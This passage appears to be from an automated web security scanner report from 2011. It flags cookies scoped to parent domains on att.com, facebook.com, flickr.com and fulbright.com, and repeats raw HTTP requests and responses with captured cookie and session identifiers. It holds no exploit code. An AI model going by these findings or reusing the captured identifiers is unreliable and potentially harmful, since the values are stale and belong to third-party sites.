HttpOnly Set-Cookie: DYN_USER_ID=3512712645; path=/ Set-Cookie: DYN_USER_CONFIRM=606a8cade5954025524a2c22a2015085; path=/ Set-Cookie: ECOM_GTM=owaln_NA; domain=.att.com; expires=Thursday, 19-Jan-2012 16:56:17 GMT; path=/ Set-Cookie: cust_type=new; domain=.att.com; expires=Thursday, 19-Jan-2012 16:56:17 GMT; path=/ Set-Cookie: browserid=A001352512840; domain=.att.com; expires=Thursday, 19-Jan-2012 16:56:17 GMT; path=/ Set-Cookie: svariants=NA; domain=.att.com; expires=Thursday, 19-Jan-2012 16:56:17 GMT; path=/ Set-Cookie: BIGipServerpATTWL_7010_7011=3772895623.25115.0000; path=/ Content-Length: 41968
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http:/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /%s HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: datr=ygc3TU5VL1Ox0oSEuJwWmcZ4; expires=Fri, 18-Jan-2013 15:48:26 GMT; path=/; domain=.facebook.com; httponly Set-Cookie: lsd=B8uaT; path=/; domain=.facebook.com Content-Type: text/html; charset=utf-8 Connection: close Date: Wed, 19 Jan 2011 15:48:26 GMT Content-Length: 11541
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
lsd=Alwq8; path=/; domain=.facebook.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /profile.php HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT Location: http://www.facebook.com/ P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=Alwq8; path=/; domain=.facebook.com Content-Type: text/html; charset=utf-8 Connection: close Date: Wed, 19 Jan 2011 15:48:24 GMT Content-Length: 0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /yp HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT Location: http://www.facebook.com/YP P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: datr=0xc3TSeqtruzR7A_X6-zEPmV; expires=Fri, 18-Jan-2013 16:56:51 GMT; path=/; domain=.facebook.com; httponly Set-Cookie: lsd=PJgQd; path=/; domain=.facebook.com Content-Type: text/html; charset=utf-8 Connection: close Date: Wed, 19 Jan 2011 16:56:51 GMT Content-Length: 0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /photos/darkstream/ HTTP/1.1 Host: www.flickr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:56:53 GMT P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Set-Cookie: BX=196k7md6je5ul&b=3&s=9b; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.flickr.com Set-Cookie: localization=en-us%3Bus%3Bus; expires=Sat, 18-Jan-2014 16:56:53 GMT; path=/; domain=.flickr.com Set-Cookie: cookie_l10n=deleted; expires=Tue, 19-Jan-2010 16:56:52 GMT; path=/; domain=flickr.com Set-Cookie: cookie_intl=deleted; expires=Tue, 19-Jan-2010 16:56:52 GMT; path=/; domain=flickr.com X-Served-By: www62.flickr.mud.yahoo.com Cache-Control: private Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 38404
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /photos/plutor/1818329845/ HTTP/1.1 Host: www.flickr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:56:52 GMT P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Set-Cookie: BX=88enasd6je5uk&b=3&s=sa; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.flickr.com Set-Cookie: localization=en-us%3Bus%3Bus; expires=Sat, 18-Jan-2014 16:56:52 GMT; path=/; domain=.flickr.com Set-Cookie: cookie_l10n=deleted; expires=Tue, 19-Jan-2010 16:56:51 GMT; path=/; domain=flickr.com Set-Cookie: cookie_intl=deleted; expires=Tue, 19-Jan-2010 16:56:51 GMT; path=/; domain=flickr.com Set-Cookie: fldetectedlang=en-us; expires=Sun, 20-Mar-2011 16:56:52 GMT; path=/; domain=.flickr.com X-Served-By: www152.flickr.mud.yahoo.com Cache-Control: private Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 107913
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Austin HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:53:25 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A53%3A25%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D1830%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:53:25 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Denver HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:53:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A53%3A54%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D1974%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:53:54 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /London HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:54:28 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A54%3A28%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D2108%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:54:28 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /LosAngeles HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:54:45 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A54%3A45%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D2193%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:54:45 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Minneapolis HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:54:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A54%3A54%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D2239%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:54:54 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Riyadh HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:56:29 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A56%3A29%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D2679%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:56:29 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /aboutus HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:48:57 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A48%3A57%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D190%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:48:57 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /alumni HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:49:23 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A49%3A23%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D435%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:49:23 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /aop HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:50:28 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A50%3A28%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D934%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:50:28 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /careers HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 302 Moved Temporarily Connection: close Date: Wed, 19 Jan 2011 15:49:07 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A49%3A07%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D268%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:49:07 GMT;path=/ location: http://www.joinfulbright.com Content-Type: text/html; charset=UTF-8
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /dc/x22 HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:48:35 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A48%3A35%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D5%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:48:35 GMT;path=/ Content-Type: text/html; charset=UTF-8
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /downloads HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:49:58 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A49%3A58%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D752%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:49:58 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /dubai HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:54:04 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A54%3A04%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D2016%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:54:04 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /favicon.ico HTTP/1.1 Host: www.fulbright.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=24113095; CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A48%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D3%23cftoken%3D35971701%23cfid%3D24113095%23
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:08:56 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:08:56 GMT;path=/ Content-Type: text/html; charset=UTF-8
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /index.cfm HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
